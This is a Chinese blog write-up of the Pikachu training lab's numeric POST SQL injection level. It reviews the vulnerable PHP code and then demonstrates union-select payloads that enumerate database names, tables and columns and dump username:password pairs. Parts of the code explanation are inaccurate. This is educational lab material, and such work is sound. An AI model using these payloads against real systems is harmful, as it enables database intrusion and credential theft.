pikachu靶场第十六关——sqli数字型注入(post)(附代码审计)

Sql Inject(SQL注入)概述

        在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

源代码:

if(isset($_POST['submit']) && $_POST['id']!=null){
    //这里没有做任何处理,直接拼到select里面去了,形成Sql注入
    $id=$_POST['id'];
    $query="select username,email from member where id=$id";
    $result=execute($link, $query);
    //这里如果用==1,会严格一点
    if(mysqli_num_rows($result)>=1){
        while($data=mysqli_fetch_assoc($result)){
            $username=$data['username'];
            $email=$data['email'];
            $html.="<p class='notice'>hello,{$username} <br />your email is: {$email}</p>";
        }
    }else{
        $html.="<p class='notice'>您输入的user id不存在,请重新输入!</p>";
    }
}

我们一行一行来看

if(isset($_POST['submit']) && $_POST['id']!=null)

        判断输入的id是否为空,判断按键是否按下

 $id=$_POST['id'];

定义了一个函数id,并将输入的id的值保存在了里面。

$query="select username,email from member where id=$id";

这是查询函数,也就是一会要执行的命令,即从username、email表中查询id为$id的值。

漏洞就是在这里产生的。

从输入到查询,并没有进行过任何的处理,这就相当于将数据库的查询权限开放给了所有人。

我们一会将说,接着看吧。

$result=execute($link, $query);

execute():几乎可以执行任何SQL语句,返回值是boolean值,表明该SQL语句是否返回ResultSet对象

boolean值:

true:使用getResultSet()方法获取返回的ResultSet对象
false:使用getUpdateCount()方法获取返回所影响的行数

if(mysqli_num_rows($result)>=1)

mysql_num_rows是PHP语言的中的函数,其表示取得结果集中行的数目。

若是大于等于1,则执行后续代码

 while($data=mysqli_fetch_assoc($result))

mysql_fetch_assoc是一个计算机函数,功能是从结果集中取得一行作为关联数组。返回根据从结果集取得的行生成的关联数组,如果没有更多行,则返回 false。

后面的代码就不细说了。

让我们来看看怎么拿下这个漏洞!

试了一下,网页上只能选择选项。

抓包看看。

ok,试着在id处将查询语句闭合了。

先试试单引号。

$query="select username,email from member where id=$id";

失败了吗?并没有,我们已经成功在后台执行了一次查询,只是报错了,因为数据库里没有标号为1' 的值。

让我们看看能不能输入命令,最简单的就是判断1=1

成功了!

ok,我们开始将深入了!

order by x(数字) 正常与错误的正常值 正确网页正常显示,错误网页报错

现在我们知道了字段长度为二,接下来可以用联合注入查询

利用 union select 联合查询,即可探测到可利用的字段数

id=1 union select 1,2 --+

id=1 union select database(),version() --+

不想看到上面这一条的,可以将id改为-1。

?id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'--+

?id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+

?id=1 union select 1,group_concat(username,':',password) from pikachu.users--+

就酱!

  • 25
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

hacker苏序

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值